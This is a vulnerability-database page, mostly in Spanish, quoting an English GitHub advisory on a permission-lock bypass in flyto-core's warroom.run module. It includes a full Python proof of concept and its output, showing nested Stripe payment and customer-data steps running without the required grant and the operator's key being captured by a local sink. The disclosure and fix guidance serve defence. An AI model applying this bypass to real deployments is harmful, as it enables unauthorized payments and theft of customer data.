llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · flyto-core

GHSA-675H-J4QG-M52X

Dangerous-permission lock bypass via warroom.run nested module steps

Parche disponible
Descargar PNG JSON
CVSS 3.1
8.5
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición98 dDesde la divulgación, 14 ago 2026, 3:35 a. m.
Detección96 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 2.28.1
Monitoreo
Detectada +1
14 ago 26
18 nov 26
20 nov 26
14 ago 26
7 sept 26
2 oct 26
27 oct 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-675H-J4QG-M52X divulgada · CVSS 8.5 (GitHub)
Remediación Parche 2.28.1 flyto-core · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
warroom.run accepts caller-supplied scenario steps whose module field is executed through execute_test_steps, which calls each nested module's execute() method directly instead of the policy-gated run() chokepoint. A caller can therefore run modules that declare dangerous permissions, including payment.stripe.* money and PII operations, without the operator ever granting payment.process, defeating the second capability lock.

### Affected
- Component: flyto-core atomic warroom/testing modules and the module policy gate
- Files: src/core/modules/atomic/testing/runner.py (lines 117-124), src/core/modules/atomic/warroom/run.py, src/core/mcp_handler.py (line 319)
- Versions: v2.28.0
- Deployment: default; warroom.run is registered, allowed by the default denylist, and declares no permissions

### Root cause
The policy backstop lives in BaseModule.run (src/core/modules/base.py:236-250), which wraps execute() with enforce_module_policy. execute_test_steps bypasses that wrapper: it instantiates nested modules and awaits instance.execute() directly (testing/runner.py:121-124). The MCP boundary's second lock (_module_missing_permissions) and its inline-payload pre-flight only inspect the top-level module id; for nested ids the pre-flight checks only the denylist (mcp_handler.py:319), never their required_permissions. payment.stripe.create_payment, payment.stripe.get_customer, and payment.stripe.list_charges declare the dangerous payment.process permission but are not id-denylisted, so they execute unguarded when nested inside warroom.run scenarios.

Reproduction
Environment
python3 -m venv /tmp/flyto-venv
/tmp/flyto-venv/bin/pip install -e .
export STRIPE_API_KEY=sk_test_OPERATOR_SECRET_KEY_123456
Proof of concept
# save as /tmp/poc_warroom.py and run with /tmp/flyto-venv/bin/python -u /tmp/poc_warroom.py
import asyncio, json, os, sys, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
sys.path.insert(0, '/home/lab/flyto-core/src')
os.environ['STRIPE_API_KEY'] = 'sk_test_OPERATOR_SECRET_KEY_123456'
captured = []
class Sink(BaseHTTPRequestHandler):
    def do_POST(self):
        n = int(self.headers.get('Content-Length', 0))
        self.rfile.read(n)
        captured.append((self.command, self.path, self.headers.get('Authorization')))
        resp = json.dumps({'id': 'pi_FAKE', 'amount': 1000, 'currency': 'usd',
                           'status': 'requires_payment_method', 'client_secret': 's'}).encode()
        self.send_response(200); self.send_header('Content-Length', str(len(resp))); self.end_headers(); self.wfile.write(resp)
    def do_GET(self):
        captured.append((self.command, self.path, self.headers.get('Authorization')))
        resp = json.dumps({'id': 'cus_ABC', 'email': 'victim@corp.test', 'name': 'Victim Customer'}).encode()
        self.send_response(200); self.send_header('Content-Length', str(len(resp))); self.end_headers(); self.wfile.write(resp)
    def log_message(self, *a): pass
srv = HTTPServer(('127.0.0.1', 9999), Sink)
threading.Thread(target=srv.serve_forever, daemon=True).start()
from core.constants import APIEndpoints
APIEndpoints.STRIPE_PAYMENT_INTENTS = 'http://127.0.0.1:9999/payment_intents'
APIEndpoints.STRIPE_CUSTOMERS = 'http://127.0.0.1:9999/customers'
APIEndpoints.STRIPE_CHARGES = 'http://127.0.0.1:9999/charges'
from core.modules import atomic
from core.mcp_handler import execute_module
async def main():
    direct = await execute_module('payment.stripe.create_payment',
                                  {'amount': 1000, 'currency': 'usd', 'customer': 'cus_ATTACKER'})
    print('direct blocked_by:', direct.get('blocked_by'), direct.get('missing_permissions'))
    nested = await execute_module('warroom.run', {
        'scenarios': {'steps': [
            {'module': 'payment.stripe.create_payment',
             'params': {'amount': 1000, 'currency': 'usd', 'customer': 'cus_ATTACKER'}},
            {'module': 'payment.stripe.get_customer', 'params': {'customer_id': 'cus_ABC'}},
            {'module': 'payment.stripe.list_charges', 'params': {'limit': 5}},
        ]}
    })
    print('warroom.run ok:', nested.get('ok'), '| blocked_by:', nested.get('blocked_by'))
    for r in (nested.get('output') or {}).get('results', []):
        print(' step', r.get('step'), r.get('module'), '->', r.get('status'))
    print('sink:', captured)
    srv.shutdown()
asyncio.run(main())
Observed result
direct blocked_by: required_permissions ['payment.process']
warroom.run ok: True | blocked_by: None
 step 1 payment.stripe.create_payment -> passed
 step 2 payment.stripe.get_customer -> passed
 step 3 payment.stripe.list_charges -> failed
sink: [('POST', '/payment_intents', 'Bearer sk_test_OPERATOR_SECRET_KEY_123456'), ('GET', '/customers/cus_ABC', 'Bearer sk_test_OPERATOR_SECRET_KEY_123456'), ('GET', '/charges?limit=5', 'Bearer sk_test_OPERATOR_SECRET_KEY_123456')]

### Impact
- The operator grant model for money movement is defeated: payment intents can be created and customer PII plus charge history can be read with the operator's Stripe key.
- The same nested path unlocks any other non-denylisted dangerous-permission module, including reverse.deobfuscate (code.execute).
- The documented invariant that modules declaring an ungranted dangerous permission are refused regardless of invocation path is broken.

### Fix
Make nested execution go through the same chokepoint as every other module: in execute_test_steps, call enforce_module_policy(module_id, metadata.required_permissions, plugin) before instantiating (or use instance.run() instead of instance.execute()). Additionally, extend the boundary pre-flight in mcp_handler.execute_module to check missing_permissions for every nested module id it collects, so the first line and the backstop agree. Add a regression test that smuggles payment.stripe.create_payment (and reverse.deobfuscate) inside warroom.run scenarios and asserts refusal without a grant.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
flyto-core≤ 2.28.0
2.28.0
2.41.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypiflyto-core
Corregida 2.28.1 0 d 2.41.0 no afectada
Versiones corregidas2.28.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/flytohub/flyto-core/security/advisories/GHSA-675h-j4qg-m52x

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.